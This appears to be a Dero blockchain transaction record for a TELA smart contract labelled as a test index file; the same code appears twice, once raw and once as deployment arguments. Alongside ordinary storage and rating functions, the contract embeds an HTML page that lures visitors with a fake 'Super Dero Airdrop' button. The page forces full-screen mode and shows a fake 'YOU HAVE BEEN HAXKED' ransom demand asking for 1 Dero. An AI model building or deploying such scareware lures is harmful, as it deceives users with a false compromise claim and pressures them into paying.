SC CODE: Function InitializePrivate() Uint64
10 IF init() == 0 THEN GOTO 30
20 RETURN 1
30 STORE("nameHdr", "index.html")
31 STORE("descrHdr", "Index file for test")
32 STORE("iconURLHdr", "")
33 STORE("dURL", "webguy.tests.tela")
34 STORE("docType", "TELA-HTML-1")
35 STORE("subDir", "")
36 STORE("fileCheckC", "1fea8408fc1011810f60ce32cc0ff7f78a8cd2738f6e3ccf49f5638a95016050")
37 STORE("fileCheckS", "e7df0b427dfd7af61704e674063bbb90203d5cd6462398b15d19e93d29b4bf0")
100 RETURN 0
End Function
Function init() Uint64
10 IF EXISTS("owner") == 0 THEN GOTO 30
20 RETURN 1
30 STORE("owner", address())
50 STORE("docVersion", "1.0.0")
60 STORE("hash", HEX(TXID()))
70 STORE("likes", 0)
80 STORE("dislikes", 0)
100 RETURN 0
End Function
Function address() String
10 DIM s as String
20 LET s = SIGNER()
30 IF IS_ADDRESS_VALID(s) THEN GOTO 50
40 RETURN "anon"
50 RETURN ADDRESS_STRING(s)
End Function
Function Rate(r Uint64) Uint64
10 DIM addr as String
15 LET addr = address()
16 IF r < 100 && EXISTS(addr) == 0 && addr != "anon" THEN GOTO 30
20 RETURN 1
30 STORE(addr, ""+r+"_"+BLOCK_HEIGHT())
40 IF r < 50 THEN GOTO 70
50 STORE("likes", LOAD("likes")+1)
60 RETURN 0
70 STORE("dislikes", LOAD("dislikes")+1)
100 RETURN 0
End Function
/*
<!DOCTYPE html>
<html lang="en-us" xmlns="http://www.w3.org/1999/xhtml" prefix="og: http://ogp.me/ns#">
<head>
<meta charset="utf-8">
<title>Your computer is compromised</title>
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<meta http-equiv="x-ua-compatible" content="ie=edge">
<meta name="description" content="Pay 1 Dero to WebGuy to unlock your computer"/>
<style>
html, body{margin:0px;padding:0px}
h1 {
width:75%;
text-align:center;
color: red;
margin: auto
}
button {
width: 100%;
height: 100vh;
position: absolute;
font-size: x-large
}
button.hidden {display:none;}
</style>
</head>
<body>
<div> <button href="#" onClick="DoFullScreen(this)">Click to Sign Up for the Super Dero Airdrop!</a> </div>
<div style="display: table; width:100%;">
<div style="display: table-cell; vertical-align: middle;height: 100vh;">
<H1>YOU HAVE BEEN HAXKED!!
<br>Pay 1 Dero to WebGuy to Unlock Your Computer!</H1>
</div>
</div>
<script>
function DoFullScreen(element) {
element.classList.add('hidden');
var el = document.documentElement,
rfs = el.requestFullscreen;
if(typeof rfs!="undefined" && rfs){
rfs.call(el);
}
}
</script>
</body>
</html>
*/ |
SC Arguments: [Name:SC_ACTION Type:uint64 Value:'1' Name:SC_CODE Type:string Value:'Function InitializePrivate() Uint64
10 IF init() == 0 THEN GOTO 30
20 RETURN 1
30 STORE("nameHdr", "index.html")
31 STORE("descrHdr", "Index file for test")
32 STORE("iconURLHdr", "")
33 STORE("dURL", "webguy.tests.tela")
34 STORE("docType", "TELA-HTML-1")
35 STORE("subDir", "")
36 STORE("fileCheckC", "1fea8408fc1011810f60ce32cc0ff7f78a8cd2738f6e3ccf49f5638a95016050")
37 STORE("fileCheckS", "e7df0b427dfd7af61704e674063bbb90203d5cd6462398b15d19e93d29b4bf0")
100 RETURN 0
End Function
Function init() Uint64
10 IF EXISTS("owner") == 0 THEN GOTO 30
20 RETURN 1
30 STORE("owner", address())
50 STORE("docVersion", "1.0.0")
60 STORE("hash", HEX(TXID()))
70 STORE("likes", 0)
80 STORE("dislikes", 0)
100 RETURN 0
End Function
Function address() String
10 DIM s as String
20 LET s = SIGNER()
30 IF IS_ADDRESS_VALID(s) THEN GOTO 50
40 RETURN "anon"
50 RETURN ADDRESS_STRING(s)
End Function
Function Rate(r Uint64) Uint64
10 DIM addr as String
15 LET addr = address()
16 IF r < 100 && EXISTS(addr) == 0 && addr != "anon" THEN GOTO 30
20 RETURN 1
30 STORE(addr, ""+r+"_"+BLOCK_HEIGHT())
40 IF r < 50 THEN GOTO 70
50 STORE("likes", LOAD("likes")+1)
60 RETURN 0
70 STORE("dislikes", LOAD("dislikes")+1)
100 RETURN 0
End Function
/*
<!DOCTYPE html>
<html lang="en-us" xmlns="http://www.w3.org/1999/xhtml" prefix="og: http://ogp.me/ns#">
<head>
<meta charset="utf-8">
<title>Your computer is compromised</title>
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<meta http-equiv="x-ua-compatible" content="ie=edge">
<meta name="description" content="Pay 1 Dero to WebGuy to unlock your computer"/>
<style>
html, body{margin:0px;padding:0px}
h1 {
width:75%;
text-align:center;
color: red;
margin: auto
}
button {
width: 100%;
height: 100vh;
position: absolute;
font-size: x-large
}
button.hidden {display:none;}
</style>
</head>
<body>
<div> <button href="#" onClick="DoFullScreen(this)">Click to Sign Up for the Super Dero Airdrop!</a> </div>
<div style="display: table; width:100%;">
<div style="display: table-cell; vertical-align: middle;height: 100vh;">
<H1>YOU HAVE BEEN HAXKED!!
<br>Pay 1 Dero to WebGuy to Unlock Your Computer!</H1>
</div>
</div>
<script>
function DoFullScreen(element) {
element.classList.add('hidden');
var el = document.documentElement,
rfs = el.requestFullscreen;
if(typeof rfs!="undefined" && rfs){
rfs.call(el);
}
}
</script>
</body>
</html>
*/'] |